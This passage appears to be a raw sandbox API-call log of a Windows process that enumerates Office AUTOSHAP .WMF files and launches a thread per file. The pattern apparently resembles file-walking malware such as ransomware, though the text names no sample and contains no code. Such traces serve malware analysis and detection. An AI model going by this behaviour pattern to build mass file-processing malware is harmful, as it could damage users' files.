| out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" [0208.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c [0208.222] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0208.222] wcscmp (_String1="BD18220_.WMF", _String2=".") returned 1 [0208.222] wcscmp (_String1="BD18220_.WMF", _String2="..") returned 1 [0208.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431827c0 [0208.222] wcscpy (in: _Dest=0x431827c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.222] wcscat (in: _Dest=0x431827c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.223] wcscat (in: _Dest=0x431827c0, _Source="BD18220_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" [0208.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431827c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0208.223] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0208.223] wcscmp (_String1="BD18221_.WMF", _String2=".") returned 1 [0208.223] wcscmp (_String1="BD18221_.WMF", _String2="..") returned 1 [0208.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182860 [0208.223] wcscpy (in: _Dest=0x43182860, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.223] wcscat (in: _Dest=0x43182860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.223] wcscat (in: _Dest=0x43182860, _Source="BD18221_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" [0208.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0208.224] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0208.224] wcscmp (_String1="BD18222_.WMF", _String2=".") returned 1 [0208.224] wcscmp (_String1="BD18222_.WMF", _String2="..") returned 1 [0208.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182900 [0208.224] wcscpy (in: _Dest=0x43182900, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.224] wcscat (in: _Dest=0x43182900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.224] wcscat (in: _Dest=0x43182900, _Source="BD18222_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" [0208.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140 [0208.225] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0208.225] wcscmp (_String1="BD18223_.WMF", _String2=".") returned 1 [0208.225] wcscmp (_String1="BD18223_.WMF", _String2="..") returned 1 [0208.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431829a0 [0208.225] wcscpy (in: _Dest=0x431829a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.225] wcscat (in: _Dest=0x431829a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.225] wcscat (in: _Dest=0x431829a0, _Source="BD18223_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" [0208.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431829a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea4 [0208.225] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0208.226] wcscmp (_String1="BD18224_.WMF", _String2=".") returned 1 [0208.226] wcscmp (_String1="BD18224_.WMF", _String2="..") returned 1 [0208.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182a40 [0208.226] wcscpy (in: _Dest=0x43182a40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.226] wcscat (in: _Dest=0x43182a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.226] wcscat (in: _Dest=0x43182a40, _Source="BD18224_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" [0208.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea0 [0208.226] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0208.226] wcscmp (_String1="BD18225_.WMF", _String2=".") returned 1 [0208.226] wcscmp (_String1="BD18225_.WMF", _String2="..") returned 1 [0208.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182ae0 [0208.226] wcscpy (in: _Dest=0x43182ae0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.226] wcscat (in: _Dest=0x43182ae0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.226] wcscat (in: _Dest=0x43182ae0, _Source="BD18225_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" [0208.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2520 [0208.227] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0208.227] wcscmp (_String1="BD18226_.WMF", _String2=".") returned 1 [0208.227] wcscmp (_String1="BD18226_.WMF", _String2="..") returned 1 [0208.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182b80 [0208.227] wcscpy (in: _Dest=0x43182b80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.227] wcscat (in: _Dest=0x43182b80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.227] wcscat (in: _Dest=0x43182b80, _Source="BD18226_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" [0208.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e80 [0208.228] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0208.228] wcscmp (_String1="BD18227_.WMF", _String2=".") returned 1 [0208.228] wcscmp (_String1="BD18227_.WMF", _String2="..") returned 1 [0208.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182c20 [0208.228] wcscpy (in: _Dest=0x43182c20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.228] wcscat (in: _Dest=0x43182c20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.228] wcscat (in: _Dest=0x43182c20, _Source="BD18227_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" [0208.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0208.323] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0208.323] wcscmp (_String1="BD18228_.WMF", _String2=".") returned 1 [0208.323] wcscmp (_String1="BD18228_.WMF", _String2="..") returned 1 [0208.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205068b0 [0208.324] wcscpy (in: _Dest=0x205068b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.324] wcscat (in: _Dest=0x205068b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.324] wcscat (in: _Dest=0x205068b0, _Source="BD18228_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" [0208.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205068b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718 [0208.328] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0208.328] wcscmp (_String1="BD18229_.WMF", _String2=".") returned 1 [0208.328] wcscmp (_String1="BD18229_.WMF", _String2="..") returned 1 [0208.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182d60 [0208.328] wcscpy (in: _Dest=0x43182d60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.329] wcscat (in: _Dest=0x43182d60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.329] wcscat (in: _Dest=0x43182d60, _Source="BD18229_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" [0208.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b68 [0208.330] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0208.330] wcscmp (_String1="BD18230_.WMF", _String2=".") returned 1 [0208.330] wcscmp (_String1="BD18230_.WMF", _String2="..") returned 1 [0208.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182e00 [0208.330] wcscpy (in: _Dest=0x43182e00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.330] wcscat (in: _Dest=0x43182e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.330] wcscat (in: _Dest=0x43182e00, _Source="BD18230_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" [0208.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1510 [0208.333] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0208.333] wcscmp (_String1="BD18231_.WMF", _String2=".") returned 1 [0208.333] wcscmp (_String1="BD18231_.WMF", _String2="..") returned 1 [0208.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182ea0 [0208.333] wcscpy (in: _Dest=0x43182ea0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.333] wcscat (in: _Dest=0x43182ea0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.333] wcscat (in: _Dest=0x43182ea0, _Source="BD18231_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" [0208.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b64 [0208.342] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0208.342] wcscmp (_String1="BD18232_.WMF", _String2=".") returned 1 [0208.342] wcscmp (_String1="BD18232_.WMF", _String2="..") returned 1 [0208.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182f40 [0208.342] wcscpy (in: _Dest=0x43182f40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.342] wcscat (in: _Dest=0x43182f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.342] wcscat (in: _Dest=0x43182f40, _Source="BD18232_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" [0208.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1edc [0208.346] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0208.346] wcscmp (_String1="BD18233_.WMF", _String2=".") returned 1 [0208.346] wcscmp (_String1="BD18233_.WMF", _String2="..") returned 1 [0208.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43182fe0 [0208.347] wcscpy (in: _Dest=0x43182fe0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.347] wcscat (in: _Dest=0x43182fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.347] wcscat (in: _Dest=0x43182fe0, _Source="BD18233_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" [0208.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f3c [0208.348] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0208.348] wcscmp (_String1="BD18234_.WMF", _String2=".") returned 1 